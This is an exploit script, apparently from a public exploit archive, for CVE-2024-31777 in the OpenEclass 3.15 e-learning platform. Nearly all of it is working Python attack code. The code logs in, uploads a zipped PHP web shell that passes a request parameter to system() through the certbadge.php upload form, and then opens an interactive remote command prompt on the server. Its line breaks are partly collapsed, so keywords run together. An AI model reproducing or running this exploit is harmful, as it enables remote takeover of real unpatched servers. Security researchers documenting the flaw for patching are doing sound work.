# Exploit Title: GUnet OpenEclass E-learning platform 3.15 - 'certbadge.php' Unrestricted File Upload# Date: 2024-02-04# Exploit Author: Georgios Tsimpidas# Vendor Homepage: https://www.openeclass.org/# Software Link: https://download.openeclass.org/files/3.15/# Version: 3.15 (2024)# Tested on: Debian Kali (Apache/2.4.57, PHP 8.2.12, MySQL 15.1)# CVE : CVE-2024-31777# GUnet OpenEclass <= 3.15 E-learning platform - Unrestricted Fileimport requests
import argparse
import zipfile
import os
import sys
RED ='\033[91m'
GREEN ='\033[92m'
YELLOW ='\033[93m'
RESET ='\033[0m'
ORANGE ='\033[38;5;208m'
MALICIOUS_PAYLOAD ="""\
<?php
if(isset($_REQUEST['cmd'])){
$cmd = ($_REQUEST['cmd']);
system($cmd);
die;
}
?>
"""defbanner():print(f'''{RED}{YELLOW}
============================ Author: Frey ============================
{RESET}''')defexecute_command(openeclass, filename):whileTrue:# Prompt for user input with "eclass"
cmd =input(f"{RED}[{YELLOW}eClass{RED}]~# {RESET}")# Check if the command is 'quit', then break the loopif cmd.lower()=="quit":print(f"{ORANGE}\nExiting...{RESET}")
clean_server(openeclass)
sys.exit()# Construct the URL with the user-provided command
url =f"{openeclass}/courses/user_progress_data/cert_templates/{filename}?cmd={cmd}"# Execute the GET requesttry:
response = requests.get(url)# Check if the request was successfulif response.status_code ==200:# Print the response textprint(f"{GREEN}{response.text}{RESET}")except requests.exceptions.RequestException as e:# Print any error that occurs during the requestprint(f"{RED}An error occurred: {e}{RESET}")defupload_web_shell(openeclass, username, password):
login_url =f'{openeclass}/?login_page=1'
login_page_url =f'{openeclass}/main/login_form.php?next=%2Fmain%2Fportfolio.php'# Login credentials
payload ={'next':'/main/portfolio.php','uname':f'{username}','pass':f'{password}','submit':'Enter'}
headers ={'Referer': login_page_url,}# Use a session to ensure cookies are handled correctlywith requests.Session()as session:# (Optional) Initially visit the login page if needed to get a fresh session cookie or any other required tokens
session.get(login_page_url)# Post the login credentials
response = session.post(login_url, headers=headers, data=payload)# Create a zip file containing the malicious payload
zip_file_path ='malicious_payload.zip'with zipfile.ZipFile(zip_file_path,'w')as zipf:
zipf.writestr('evil.php', MALICIOUS_PAYLOAD.encode())# Upload the zip file
url =f'{openeclass}/modules/admin/certbadge.php?action=add_cert'
files ={'filename':('evil.zip',open(zip_file_path,'rb'),'application/zip'),'certhtmlfile':(None,''),'orientation':(None,'L'),'description':(None,''),'cert_id':(None,''),'submit_cert_template':(None,'')}
response = session.post(url, files=files)# Clean up the zip file
os.remove(zip_file_path)# Check if the upload was successfulif response.status_code ==200:print(f"{GREEN}Payload uploaded successfully!{RESET}")returnTrueelse:print(f"{RED}Failed to upload payload. Exiting...{RESET}")returnFalsedefclean_server(openeclass):print(f"{ORANGE}Cleaning server...{RESET}")# Remove the uploaded files
requests.get(f"{openeclass}/courses/user_progress_data/cert_templates/evil.php?cmd=rm%20evil.zip")
requests.get(f"{openeclass}/courses/user_progress_data/cert_templates/evil.php?cmd=rm%20evil.php")print(f"{GREEN}Server cleaned successfully!{RESET}")defmain():
parser = argparse.ArgumentParser(description="Open eClass – CVE-CVE-2024-31777: Unrestricted File Upload Leads to Remote Code Execution")
parser.add_argument('-u','--username', required=True,help="Username for login")
parser.add_argument('-p','--password', required=True,help="Password for login")
parser.add_argument('-e','--eclass', required=True,help="Base URL of the Open eClass")
args = parser.parse_args()
banner()# Running the main login and execute command functionif upload_web_shell(args.eclass, args.username, args.password):
execute_command(args.eclass,'evil.php')if __name__ =="__main__":
main()